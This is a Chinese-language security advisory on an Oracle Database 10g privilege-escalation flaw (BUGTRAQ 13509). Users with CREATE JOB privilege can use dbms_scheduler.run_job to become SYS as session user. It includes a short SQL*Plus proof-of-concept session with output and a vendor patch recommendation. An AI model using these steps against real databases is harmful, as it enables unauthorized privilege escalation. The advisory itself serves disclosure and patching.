受影响系统:
Oracle database server 10g
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 13509
Oracle是一款大型商用数据库软件。
Oracle在用户访问权限的处理上存在漏洞,攻击者可能利用此漏洞提升权限。
任何拥有CREATE JOB权限的用户都可以通过dbms_scheduler执行数据库任务,从SESSION_USER切换到SYS。这可能导致VPD(虚拟专用数据库)或OLS(Oracle标记)问题,并可能导致权限提升。
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供研究与教学之用。使用者风险自负!
以拥有CREATE job权限的用户连接
SQL> select user from dual;
USER
---------
JOBUSER
SQL> execute dbms_scheduler.run_job('ANY_JOB');
PL/SQL procedure successfully completed.
SQL> select user from dual;
USER
---------
SYS
SQL> select (sys_context('userenv','session_user')) from dual;
USER
---------
SYS
SQL> select (sys_context('userenv','current_user')) from dual;
USER
---------
JOBUSER
SQL> show user
USER is "jobuser"
建议:
--------------------------------------------------------------------------------
厂商补丁:
Oracle
------
目前厂商已经发布了升级补丁以修复这个问题,请到厂商的主页下载10.0.1.4补丁集: